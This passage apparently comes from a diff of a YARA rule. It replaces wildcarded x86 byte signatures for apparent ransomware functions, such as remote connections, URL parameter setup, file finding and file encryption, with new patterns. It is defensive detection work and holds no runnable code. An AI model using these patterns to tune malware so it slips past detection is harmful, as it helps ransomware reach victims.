-            ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45
-            ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF
-            70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B
-            8B E5 5D C3
+		$remote_connection_p2 = {
+            FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 53 56 53 53 6A ?? 68 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85 DB 74 ?? 6A ?? 68 ?? ?? ?? ??
+            33 C0 50 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ??
+            33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50
+            E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ??
+            8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF 75 ?? FF D7 80 7D ?? ?? 74 ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D
+            ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81 C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F
+            84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? E8
         }
-		$remote_connection_v5 = {
-            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
-            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
-            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
-            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
-            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
-            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF
-            15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B
-            E5 5D C2
+		$find_files_p1 = {
+            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ??
+            ?? BA ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D 4D ?? 8B D3 C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
+            51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ??
+            ?? 33 C0 8D 7D ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ??
+            ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A
+            ?? 8B 7A ?? 2B CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B
+            12 57 52 51 8B CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D
+            ?? 51 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 7D
+            ?? 8B 9D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 0F 43 7D ?? 89 8D ??
+            ?? ?? ?? 3B D8 77 ?? 85 DB 75 ?? 8B F3 EB ?? 0F BE 09 2B C3 40 89 8D ?? ?? ?? ?? 03
         }
-		$remote_connection_v5_0_1 = {
-            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
-            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
-            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
-            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
-            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
-            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45
-            F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2
+		$find_files_p2 = {
+            C7 89 85 ?? ?? ?? ?? 2B C7 50 51 57 EB ?? 53 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 46 2B C6 50 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
+            8B F0 83 C4 ?? 85 F6 75 ?? 83 CE ?? 33 DB 56 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 89 5D ?? 50 8D 4D ?? 89 5D
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 7D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 7D ?? 85 D2 74 ??
+            83 C9 ?? 8D 42 ?? 3B C1 0F 42 C8 03 CF EB ?? 2B F7 EB ?? 3B CF 74 ?? 49 80 39 ?? 75
+            ?? 2B CF EB ?? 83 C9 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 79 ?? 89 5D ?? C7 45 ?? ?? ??
+            ?? ?? 88 5D ?? 3B D7 0F 82 ?? ?? ?? ?? 2B D7 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83
+            7D ?? ?? 51 0F 43 45 ?? 8D 4D ?? 03 C7 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC
+            8D 45 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            6A ?? 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B 78 ?? 03 38 3B FB 7D ?? 81 FE ?? ?? ?? ?? 76 ?? 8D
         }
-		$url_parameters_setup_v5 = {
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
-            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
-            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
-            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ??
-            ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A
-            ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B E5 5D C3
+		$find_files_p3 = {
+            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B FB 7D ?? 81 FE ?? ?? ?? ??
+            76 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D
+            ?? 8D 04 41 50 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? C6 45
+            ?? ?? 56 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ??
+            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? C6 45 ?? ?? E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
+            ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 51 50 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 56 BA ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85
         }
-		$url_parameters_setup_v5_0_1 = {
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
-            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
-            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
-            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ??
-            ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A
-            ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B E5 5D C3
+		$find_files_p4 = {
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45
+            ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8
+            ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 9D ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ??
+            ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ?? ?? 03 F3 59 3B F7 75
+            ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ?? ?? 03 F3 3B F7 75 ??
+            8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ?? 59 59 8D 4D ?? E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$crypt_files_v5_0_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ??
-            ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ??
-            ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0
-            50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB
-            ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68
-            ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ??
-            81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ??
-            ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57
-            C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55
-            ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68
-            ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ??
-            ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ??
-            ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ??
-            ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84
-            ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ??
-            ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ??
-            89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ??
-            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75
-            ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85
-            C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33
-            C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13
-            45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53
-            FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B
-            CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ??
-            FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF
-            D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75
-            ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01
-            8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ??
-            ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+		$encrypt_files = {
+            8B FF 55 8B EC 57 FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B F8 8B 49 ?? 90 F6 C1 ?? 75
+            ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? E9
+            ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 90 C1 E8 ?? A8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ??
+            ?? EB ?? 8B 45 ?? 8B 40 ?? 90 A8 ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 83 61
+            ?? ?? 84 C0 8B 45 ?? 74 ?? 8B 48 ?? 89 08 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45
+            ?? 53 6A ?? 5B 83 C0 ?? F0 09 18 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45 ?? 83 60
+            ?? ?? 8B 45 ?? 8B 40 ?? 90 A9 ?? ?? ?? ?? 75 ?? 56 8B 75 ?? 6A ?? E8 ?? ?? ?? ?? 59
+            3B F0 74 ?? 8B 75 ?? 53 E8 ?? ?? ?? ?? 59 3B F0 75 ?? 57 E8 ?? ?? ?? ?? 59 85 C0 75
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5E FF 75 ?? 8B 5D ?? 53 E8 ?? ?? ?? ?? 59 59 84 C0 75
+            ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? EB ?? 0F B6 C3 5B 5F 5D C3
         }
-		$find_files_v5_0_1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
-            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
-            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
-            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50
